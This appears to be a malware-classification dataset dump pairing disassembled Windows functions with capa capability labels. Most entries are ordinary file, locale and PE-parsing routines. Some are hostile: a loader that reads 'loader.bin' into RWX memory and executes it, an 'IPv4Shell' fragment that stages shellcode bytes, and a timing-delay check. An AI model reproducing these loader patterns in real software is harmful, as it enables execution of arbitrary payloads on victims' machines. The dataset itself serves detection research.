joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14030f4a0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140119130
sub rsp, rax
mov rax, qword [0x1403ba180]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1403bf270]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14030f6b5
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x14030f5f9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14030f5f9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x14030f5d9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x14030f568
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14030f675
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14030f6d4
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x44], eax
jae 0x14030f6b0
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14030f6d4
jmp 0x14030f53e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14011ad6e
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140313740
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov edx, 8
lea rcx, [rsp + 0x60]
call fcn.140119bd0
movzx eax, al
test eax, eax
je 0x140313767
mov al, 1
jmp 0x14031385c
lea rcx, [rsp + 0x60]
call fcn.14011e2b6
movzx eax, al
test eax, eax
je 0x1403137a6
lea rcx, [rsp + 0x60]
call fcn.14011cf10
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.14011cf10
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x40]
cmp qword [rcx], rax
jne 0x1403137a6
xor al, al
jmp 0x14031385c
lea rcx, [rsp + 0x60]
call fcn.14011d16d
mov ecx, eax
call fcn.14011e21b
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1403137cb
xor al, al
jmp 0x14031385c
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov r9d, 1
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x140313810
xor al, al
jmp 0x14031385c
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140313839
xor al, al
jmp 0x14031385c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jne 0x14031384f
mov dword [rsp + 0x20], 1
jmp 0x140313857
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x50
pop rdi
ret
Function at 0x1403371c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
cmp qword [rsp + 0x40], 0
je 0x1403371ff
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
test eax, eax
je 0x1403371ff
lea rdx, [0x140392ff0]
mov rcx, qword [rsp + 0x40]
call fcn.14011ae0e
test eax, eax
jne 0x140337236
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20001004
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x140337225
xor eax, eax
jmp 0x140337285
cmp dword [rsp + 0x20], 0
jne 0x140337234
call qword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x140337285
jmp 0x140337281
lea rdx, [0x140393010]
mov rcx, qword [rsp + 0x40]
call fcn.14011ae0e
test eax, eax
jne 0x140337273
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x2000000b
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x140337271
xor eax, eax
jmp 0x140337285
jmp 0x140337281
mov rcx, qword [rsp + 0x40]
call fcn.1401180e6
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140337340
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
movzx eax, word [rsp + 0x50]
and eax, 0x3ff
movzx eax, ax
bts eax, 0xa
movzx eax, ax
mov dword [rsp + 0x24], eax
call fcn.1401194a5
add rax, 0x98
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, [rsp + 0x20]
mov edx, 0x20000001
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1403373a3
xor eax, eax
jmp 0x1403373e3
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x50], eax
je 0x1403373de
cmp dword [rsp + 0x58], 0
je 0x1403373de
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call fcn.140336910
mov dword [rsp + 0x28], eax
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
call fcn.14011860e
mov ecx, dword [rsp + 0x28]
cmp ecx, eax
jne 0x1403373de
xor eax, eax
jmp 0x1403373e3
mov eax, 1
add rsp, 0x48
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
sub rsp, 0x60
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 0x400
lea rcx, str._i__SizeOf_IPv4Shell_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x1400010ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rbp - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001210
add rsp, 0x60
pop rbp
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rsi
mov rdx, rbp
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
call fcn.140001010
xor edi, edi
mov qword [rsp + 0x30], 0
lea r12, str.252.72.131.228
xor esi, esi
mov rbx, r12
lea r14, [0x140004440]
nop word [rax + rax]
mov rcx, qword [rbx]
lea r8, [rcx + riz*2 + 0x2e]
invalid
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x1400154c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012ff0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013010
xor al, al
jmp 0x140013091
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013023
xor al, al
jmp 0x140013091
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001304d
xor al, al
jmp 0x140013091
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140013061
xor al, al
jmp 0x140013091
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140013073
xor al, al
jmp 0x140013091
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001308f
xor al, al
jmp 0x140013091
mov al, 1
add rsp, 0x38
ret

Function at 0x140011df0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140011e10
mov ecx, 7
call fcn.140011325
nop
mov byte [rsp + 0x20], 0
call fcn.140011339
mov byte [rsp + 0x21], al
cmp dword [0x14001d220], 1
jne 0x140011e34
mov ecx, 7
call fcn.140011325
nop
jmp 0x140011e8c
cmp dword [0x14001d220], 0
jne 0x140011e87
mov dword [0x14001d220], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111ae
test eax, eax
je 0x140011e68
mov eax, 0xff
jmp 0x140011f91
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001132f
mov dword [0x14001d220], 2
jmp 0x140011e8c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011316
call fcn.1400112b2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140011ee9
mov rcx, qword [rsp + 0x30]
call fcn.140011163
movzx eax, al
test eax, eax
je 0x140011ee9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112e9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140011f1d
mov rcx, qword [rsp + 0x38]
call fcn.140011163
movzx eax, al
test eax, eax
je 0x140011f1d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011370
nop
call fcn.140012040
mov dword [rsp + 0x28], eax
call fcn.14001128f
movzx eax, al
test eax, eax
jne 0x140011f3c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140011f4b
call fcn.14001137a
nop
xor edx, edx
mov cl, 1
call fcn.140011154
mov eax, dword [rsp + 0x28]
jmp 0x140011f91
add rsp, 0x68
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
movzx eax, word [0x140002258]
lea r8, [0x14000225c]
movsd xmm0, qword [str.loader.bin]
lea rdx, [rsp + 0x28]
mov word [rsp + 0x30], ax
lea rcx, [rsp + 0x20]
movzx eax, byte [0x14000225a]
mov byte [rsp + 0x32], al
mov qword [rsp + 0x20], 0
movsd qword [rsp + 0x28], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov rcx, qword [rsp + 0x20]
xor edx, edx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x20]
xor r8d, r8d
xor edx, edx
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, qword [rsp + 0x20]
mov r8, rdi
mov rcx, rax
mov edx, 1
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001170
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001a38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a82
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a84
xor al, al
add rsp, 0x28
ret
Function at 0x1800086d0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1800086f8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x18000871e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180008720
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180008779
test ecx, ecx
jle 0x180008759
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180008779
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180008779
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x1800087a0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1800087c2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1800087d8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800087f4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800087f6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180008832
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1800088ce
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18000886d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1800088ae
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1800088ce
cmp rbx, rax
ja 0x180008880
test rbx, rbx
je 0x1800088ce
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180008d30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18008a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180008d5d
xor eax, eax
jmp 0x180008ec9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x180008d97
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x180008d97
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180008ec9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180008ebc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180008dda
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180008e05
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180008ec1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180008e74
sub eax, 1
je 0x180008e74
cmp eax, 2
jne 0x180008ebc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180008ec1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180008ea2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180008ebc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x180008ec1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800717c0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180009840
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18008a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180009913
cmp byte [rcx + 0x71], 0
je 0x180009913
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000990f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1800098d4
sub eax, 1
je 0x1800098d8
cmp eax, 2
jne 0x18000990f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800717c0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180009906
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18000990f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1800098bc
xor al, al
jmp 0x1800098bc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800717c0
add rsp, 0x60
pop rbx
ret

Function at 0x180017fe0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x18008a040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov edi, ecx
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movabs rax, 0x20c49ba5e353f7cf
lea rcx, [rsp + 0x20]
imul qword [rsp + 0x28]
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x28], rdx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x20]
cqo
mov qword [rsp + 0x20], 0
idiv qword [rsp + 0x28]
add rdi, rax
test rdi, rdi
jle 0x180018071
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x20]
cqo
idiv qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
cmp rax, rdi
jl 0x180018050
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1800717c0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x18002cf90
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18002cfed
lea rbx, [0x180078420]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x18002cfd4
cmp r10, 2
jb 0x18002cfd4
cmp byte [r9], r8b
jne 0x18002cfd4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x18002cfb0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18002d02f
lea rbx, [0x180078420]
cmp r8b, 0x23
jne 0x18002d013
cmp byte [r9], r8b
jne 0x18002d013
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x18002d000
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x18002d170
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x18002d18a
mov qword [r8], 0
lea rdx, [0x18007d430]
call fcn.18002d040
mov rbx, rax
test rax, rax
jne 0x18002d1aa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x18002d281
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18002d281
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18002d281
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18002d281
cmp rdi, 0xffffffffffffffff
je 0x18002d281
mov rax, qword [0x1800d9728]
test rax, rax
je 0x18002d21e
inc dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x18002d281
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18002d26e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800d9728]
test rax, rax
je 0x18002d263
dec dword [rax + 0x3b0]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18002d28a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x18002d27c
mov qword [r14], rdi
mov rax, rsi
jmp 0x18002d28c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
